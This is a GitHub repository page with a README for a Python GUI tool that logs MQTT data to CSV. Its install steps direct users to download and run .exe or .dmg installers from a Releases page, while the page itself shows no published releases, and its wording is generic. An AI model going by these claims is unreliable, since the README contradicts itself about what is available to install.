Skip to content

πŸ“‘ Streamline your MQTT data logging with this Python GUI tool, offering ease of use and customization for effective data management.

Notifications You must be signed in to change notification settings

Nieddottix/Python-MQTT-Data-Logger-GUI

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ Python-MQTT-Data-Logger-GUI - Easy Data Logging with MQTT

Download Python-MQTT-Data-Logger-GUI

πŸ“‹ Description

Python-MQTT-Data-Logger-GUI is a user-friendly application designed for effortless data logging using the MQTT protocol. Built with Python's Tkinter and Paho-MQTT, it provides a simple interface for secure authentication, custom port settings, and automatic CSV export of your logged data. This tool is perfect for anyone interested in automation or IoT projects.

πŸ–₯️ System Requirements

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.6 or higher
  • Memory: At least 4 GB RAM
  • Disk Space: Minimum of 100 MB available

πŸš€ Getting Started

Follow these steps to download and set up the application on your computer.

  1. Visit the Releases Page
    Click the link below to access the download page:
    Download Python-MQTT-Data-Logger-GUI Releases

  2. Choose the Latest Version
    On the Releases page, find the version labeled "Latest release." This version includes the most recent updates and bug fixes.

  3. Download the Installer
    Once you locate the latest version, download the installer file suited for your operating system. Look for files with the extensions .exe for Windows, .dmg for macOS, and appropriate package formats for Linux.

  4. Run the Installer
    After the download completes, navigate to your downloads folder and double-click the installer file. Follow the on-screen instructions to complete the installation.

  5. Launch the Application
    After the installation, find the application in your program list and launch it. You will see a straightforward interface designed for your ease of use.

🌐 Configuration

  1. Set Up MQTT Connection
    To begin logging data, you'll need to configure your MQTT settings. Enter your MQTT broker's address, port number, and other required credentials.

  2. Select Data Sources
    Choose the sensors or data sources you want to log. This could be temperature, humidity, or any other measurement available from your MQTT feeds.

  3. Export Settings
    Configure export options for your logs. You can select the directory for the CSV files and set the intervals for data logging.

πŸ“€ Using the Application

  1. Start Data Logging
    Press the "Start" button once your settings are in place. The application will begin reaching out to your selected data sources.

  2. Monitor Data in Real-Time
    You can view incoming data within the application. You'll see real-time graphs that can help visualize the changes as they occur.

  3. Export Data
    Once you stop logging, export the collected data as a CSV file by clicking on the β€œExport” button. Your data will be saved in the directory you specified.

  4. Adjust Settings as Needed
    Feel free to modify your settings at any time if you need to change data sources or export options.

πŸ”§ Features

  • Simple user interface for easy navigation
  • Support for secure authentication
  • Custom port options for flexibility
  • Automatic CSV export for convenient data handling
  • Real-time data monitoring and visualization

🚩 Troubleshooting

If you encounter any issues while using the application, consider the following:

  1. Connection Issues
    Ensure your internet connection is stable and your MQTT broker settings are correct.

  2. Data Not Logging
    Check that your selected data sources are sending data and that you have the right permissions.

  3. Export Problems
    Make sure the export directory exists and you have write access to that location.

For more help, you can check the issues section on the GitHub repository.

πŸ“₯ Download & Install

To begin using Python-MQTT-Data-Logger-GUI, visit the page below for the latest releases, select your installer, and follow the installation instructions:
Download Python-MQTT-Data-Logger-GUI Releases

🀝 Contributing

We welcome contributions! If you’d like to enhance this application or fix bugs, please refer to the contributing guidelines provided in the repository.

πŸ“š License

This project is licensed under the MIT License. You can use, modify, and distribute this software freely, provided that you include the original license in all copies or substantial portions of the software.

About

πŸ“‘ Streamline your MQTT data logging with this Python GUI tool, offering ease of use and customization for effective data management.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •